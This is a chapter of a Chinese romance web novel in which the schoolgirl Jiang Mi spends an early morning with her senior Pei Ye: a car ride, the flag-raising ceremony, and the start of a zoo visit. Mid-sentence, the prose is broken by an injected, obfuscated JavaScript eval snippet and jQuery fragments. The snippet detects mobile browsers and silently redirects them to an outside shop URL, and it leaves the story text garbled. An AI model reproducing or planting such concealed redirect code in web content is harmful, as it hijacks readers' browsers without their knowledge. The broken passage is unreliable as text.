纪家别墅外。
黑色奔驰车身落了层黎明前的晨雾,像笼着一层薄纱。车前的两个大灯亮着,把雾气照得蒙蒙的,有点不真实。
姜弥踩着小碎步走过去。
快到跟前的时候,她忽然停住。
副驾车门旁倚着一道瘦高的身影。
裴晔穿着深色外套,半个身子隐在暗处,一只手插在口袋里,另一只手正把玩着一只银色打火机。
修长的手指翻转着,动作娴熟又漫不经心。打火机的盖口掀开又合上,“咔哒、咔哒”,在寂静的清晨里格外清晰。
蓝色的火焰明明灭灭,映着他轮廓分明的侧脸,在暗色里出现,又消失。
姜弥站在几步之外,忽然有些恍惚。
这只打火机——
她好像在哪儿见过。
不久前。
纪淮野在学校静园的单人宿舍里,也曾这样把玩过一只打火机。
银色的,盖子掀开又合上,火焰明明灭灭。
那时候她没多想。
只觉得他这个年龄的男高,抽烟很正常,有打火机也很正常。
她是后来才发现,纪淮野是不抽烟的。
不仅他不抽,他身边的周屿和陈竞也极讨厌烟味。
有次给她讲题时,有个男生过来叫陈竞去打球,那人当时估计刚抽完烟,烟味没散,刺鼻得很。
陈竞当场把他赶走了,叫他把烟味散干净再过来。
一个不抽烟的人,为什么随身带着打火机?
姜弥站在原地,看着那明明灭灭的蓝色火焰,忽然觉得有什么东西在心里悄悄连成了线。
打火机。
是纪家的某种......标配吗?
姜弥看着那张晦暗不明的脸,忽然有点不敢靠近。眼前这个人,和她在岚山认识的那个“裴晔”,还是同一个人吗?
她正想着,那边的人似乎察觉到她的目光,侧过脸来。
火光在他眼睛里跳了一下,然后被他收进掌心。
“站那儿干嘛?过来呀。”他说。
语气是熟悉的散漫,带着点笑意。
姜弥与他对上视线,怔了一下。
裴晔今天,和平时不太一样。
她没来得及细想。
车门打开了。
裴晔:“再不走,要赶不上了哦。”
——
上车后,裴晔把中控台的热饮递给她一杯。
姜弥接过来,小心翼翼道:“谢谢。”
她这才发现是哪里不一样——裴晔今天没有戴眼镜。
没了镜片的遮挡,狭长凤眼一览无遗。仔细看去,和纪淮野有几分相似。
眼尾的弧度,眉骨的轮廓,都像是一个模子里刻出来的。
但又不同。
裴晔看人的眼神是温润的,带着点笑意,像春天里的阳光。而纪淮野......
姜弥把比较的念头摁回去。
怎么又想到那个人了。
她低头喝了口热饮,是热牛奶,甜度刚好,温度也刚好。
“早餐吃了吗?”
“还没有。”她顿了顿,“但是我带了这个。”
她从包里拿出昨晚做的曲奇饼干,装在透明的小袋子里,扎着蝴蝶结。本来是打算作为谢礼送给裴晔的。
“那就在车上吃点吧。”裴晔又递过来一个纸袋,“过去大约还要二十分钟。”
姜弥接过来,打开一看,是甜甜圈,撒着彩色的糖针,一看就是那家很有名的店买的。
“......谢谢学长。”
她捧着那个纸袋,有点不知所措。
没有人这样照顾过她。
爸爸去世后,妈妈来京市谋生活。她便成了家里挑大梁的那个,也习惯了照顾别人。
她正愣神时,裴晔说了句什么。
“嗯?”姜弥歪了歪头,没听清。
她捧着热牛奶,手指被杯子暖得软软的,脑子也有点跟不上。
裴晔笑了一下。
然后他倾身过来。
姜弥的呼吸停住了。
那张脸越来越近。
清晰锋利的下颌,上扬的唇角。那双温润的眼睛垂着,睫毛浓密纤长,在眼下投出一道扇形阴影。
她闻到他身上的气息。
与纪淮野那种冷冽的,给人雪后森林的清冷感不同。裴晔的气息是暖的,像阳光下的玫瑰花,带着一点点甜。
心跳蓦地加速。
咚咚。咚咚。咚咚。
明明只有几秒钟,她却觉得过了很久很久。
“咔嗒”一声。
安全带扣紧卡扣里。
姜弥这才反应过来,他刚才说的是“安全带”。
裴晔已经坐回去了,目视前方,嘴角还带着一点笑意。
“怎么又在发呆?”他说,语气散漫,“系个安全带就把你吓着了?”
姜弥张了张嘴,说不出话。
她的脸在发烫。
耳朵也是。
低头,把脸埋进热牛奶的杯口,小口小口地啜着牛奶。
假装自己很忙。
但心跳根本藏不住。
咚咚咚咚咚咚。
她偷偷吸了一口气,想让它慢下来。
没用。
裴晔启动了车子。
车身轻轻一震,窗外雾气缓缓向后退去。
姜弥稍稍侧身,看着窗外。
京市的清晨,和岚山是不同的,灯火通明。
行了一段路,裴晔忽然开口:“曲奇。”
“嗯?”姜弥收回视线,看向驾驶席。
“不是说做了曲奇吗?”他瞥了她一眼,嘴角弯着,“不能给我尝尝?”
姜弥愣了一下,然后慌忙去翻自己的包。
“能能能,当然能。”她拿出那个透明的小袋子,递给他。
“本来就是想送给学长的,不知道你会不会喜欢。”
裴晔刚要伸手接,前方有辆车忽然变道,他双手搭回方向盘,眉头微蹙,打了下方向,减速。
姜弥的手僵在半空。
她低头看了看手里的曲奇,又看了看他专注开车的侧脸,睫毛颤了颤。
红灯。
车子稳稳停下。
裴晔转过视线,姜弥又把曲奇递过去。
他没接,就那么看着她。
嘴角弯着,像是在等什么。
姜弥反应过来。
她垂下眼,手指动了动,拆开袋子的封口。
“给。”她再次递过去。
裴晔依旧没接。
姜弥等了等,然后收回手,从透明袋里拿出一块小鱼饼干递过去。
这回,她看见裴晔眼里的笑意浓了些。
然后,他低下头。
就着她的手,咬住了那条小鱼。
姜弥愣住,手一抖。
他、他、他——
他的唇碰到她的指尖。
轻轻的,软软的,像羽毛扫过,一触即离。
那条小鱼被他咬走。
她的手指还僵在半空,保持着捏东西的姿势,指尖上还残留着那一瞬间的温度和触感。
“嗯。”裴晔直起身,嚼了嚼,点点头,“好吃。”
他的声音很寻常,倒像是她过于大惊小怪了。
姜弥缩回手,大脑一片空白。
红灯变绿。
车流重新动起来。
她的手悄悄蜷起来,缩回袖子里。
姜弥低头看了袋子里的曲奇饼干,又偷偷瞟向驾驶席的人。
他正开着车,目视前方,察觉到她在看他后,瞳眸斜移。
“......”
姜弥把脸转向窗外。
雾气一点点散开。
天边开始泛白。
刚才被他碰到的那一根。
指尖还在发烫。
漏拍的心跳,也还在紊乱地震动着胸腔。
——
车开到广场附近,已经快五点了。
广场外已经排起长队,男女老少,各种各样的人,甚至还有举着小旗子的旅游团。
大家都在等着安检进场看升旗。
凌晨的风有点凉。
姜弥只穿了一件镂空的薄衫,站在队伍里,悄悄拢了拢手臂。
裴晔站在她旁边,低头看了她一眼。
“冷吗?”
姜弥摇头:“不冷。”
其实是冷的。在车上还好,此刻她的手臂上已经起了细细的鸡皮疙瘩,风一吹,就想缩脖子。
人果然不能为了风度,不要温度。
裴晔笑了笑,没说话。
下一秒,肩上落下重量。
带着玫瑰暖香的温暖,一下子把她裹住了。
姜弥抬头,裴晔的那件灰色外套披在她身上,他里面穿着一件白色短T,露出清瘦的手臂。
“这边不比岚山,昼夜温差大,容易感冒。”他说。
“......谢谢学长。”姜弥把外套拢了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223422|194410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拢。
裴晔的身高和纪淮野差不多,一米八几的个头,他的外套穿在她身上,像偷穿大人衣服的小孩,袖子长出一截,只能把手指伸出来一点。
两人并肩站着,裴晔温声和她说话,讲他大学里的事,讲京市和岚山的不同,讲他刚回来的时候也总忘带外套。
姜弥听着,目光不自觉地往上移。
裴晔身高颀长,她只能看到他的脖颈和下巴。他说话的时候,喉结微微滑动,那颗淡色的小痣也会跟着牵动。
两年前,就是这颗痣。
高一那年秋天,她在学生会办公室里见到他。他站在台上讲话,阳光落在他侧脸上,她盯着他说话的喉结,盯着那颗淡色的小痣,忽然就移不开眼了。
两年了。
到现在,还是吸引着她。
“学长。”她冷不丁地开口,打断他正在说的话。
“嗯?”
“你为什么会来找我?”
裴晔愣了一下。
他微微颔首,看向她。
沉默了几秒。
天边越来越亮,晨光落在他眼睛里,温润明亮。
“因为我一直想问你一个问题。”他说。
姜弥的睫毛颤了颤。
“姜弥,”他开口,声音低了几分,“你可有过生我的气?”
姜弥愣住了。
生气?
她没有生气。
她为什么要生他的气?
她看着他的眼睛,那双温润的、带着点认真的眼睛。青年站在阳光里,眉眼温柔,和记忆里一模一样。
她喜欢了他两年。
从高一那年秋天起,他在走廊尽头逆光走来的样子,她记了六百多个日夜。
喜欢他这件事,她没告诉任何人。
包括他。
后来他悄无声息地离开了。
再次看到他,是在燕大附中的宣传视频里。温润如玉,斯文精英,闪闪发光,和她简直是生活在两个图层。
天之骄子,高岭之花。
大概说的就是他这样的人。
而她竟然喜欢上了这样遥不可及的人,还企图幻想将他拉下神坛。
真是胆大妄为。
“我没生气。”她说,声音轻得像蚊吟,“我只是......”
远处,忽然传来整齐的脚步声。
国旗护卫队走出来了。
人群安静下来。
国歌响起。
所有人肃立。
五星红旗在清晨的阳光里冉冉升起,一点一点升高。
激昂的歌声里,阳光越来越亮,风吹过脸颊,带着初夏的凉意和阳光的温度。
姜弥看着那面红旗,忽然觉得心被拉到很大很大,大到能装下整个天空。
她的目光偏移,落在身边的人身上。裴晔望着远方,眉目温柔,如沐春风。
一切都美好得不像话。
像高一那年她幻想过的场景。
——
回到车里,裴晔问她还想去哪里。
他给了很多选项:动物园、植物园,还有海底世界,游乐场。
姜弥本以为看完升旗就结束了。没想到他还准备了这么多娱乐项目。
她想了想,反正已经给纪淮野打过招呼,回去晚一点应该也没关系。
“想看大熊猫。”她说。
裴晔笑了一下:“行,那就去看大熊猫。”
京市唯一一家有熊猫的动物园,离这里将近四十公里。但裴晔没说什么,设置好导航,便朝着目的地出发。
京市作为大都市,即便是周六,交通堵塞也不可避免。
抵达动物园时,已经快九点了。
买完票,排队过安检。
“包我替你拿吧。”裴晔递给她一本参观手册,体贴地说,“这里很大,你可以先挑几个最想看的。”
“谢谢学长。”姜弥把手提包递给他,低头翻看起来。
参观手册印得很精美,熊猫馆在第一页,占了整整一版。
她盯着那只圆滚滚的熊猫,越看越觉得萌的不可方物。
抬起头。
裴晔正看着她,嘴角弯着,像在耐心等待她做出决定。
姜弥忽然有点不好意思。
“那个......”她指了指手册上的熊猫,“第一站,可以看这个吗?”
裴晔笑出声。
“当然。”他说,“本来就是带你来看大熊猫的。”
两人并肩走向熊猫馆。